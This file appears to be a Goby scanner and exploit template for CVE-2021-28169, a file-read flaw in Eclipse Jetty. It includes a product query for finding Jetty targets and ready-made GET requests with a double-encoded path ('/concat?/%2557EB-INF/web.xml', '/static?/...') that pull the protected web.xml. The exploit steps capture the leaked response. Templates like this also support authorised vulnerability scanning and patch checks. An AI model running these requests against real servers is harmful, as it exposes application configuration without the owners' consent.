{
      "Name": "Jetty WEB-INF FileRead CVE-2021-28169",
      "Level": "1",
      "Tags": [
            "fileread"
      ],
      "GobyQuery": "product=\"Jetty\" || product=\"JAVA\" || company=\"Eclipse Foundation, Inc.\"",
      "Description": "Jetty provides a web server and servlet container, additionally providing support for HTTP/2, WebSocket, OSGi, JMX, JNDI, JAAS and many other integrations. These components are open source and are freely available for commercial use and distribution.",
      "Product": "Jetty",
      "Homepage": "https://www.eclipse.org/jetty",
      "Author": "",
      "Impact": "For Eclipse Jetty versions &lt;= 9.4.40, &lt;= 10.0.2, &lt;= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory. For example a request to `/concat?/%2557EB-INF/web.xml` can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.",
      "Recommendation": "https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2021-28169",
            "https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq"
      ],
      "HasExp": true,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "OR",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/static?/%2557EB-INF/web.xml",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jetty",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/concat?/%2557EB-INF/web.xml",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jetty",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "OR",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/static?/%2557EB-INF/web.xml",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jetty",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|concat|"
                  ]
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/concat?/%2557EB-INF/web.xml",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "jetty",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|concat|"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}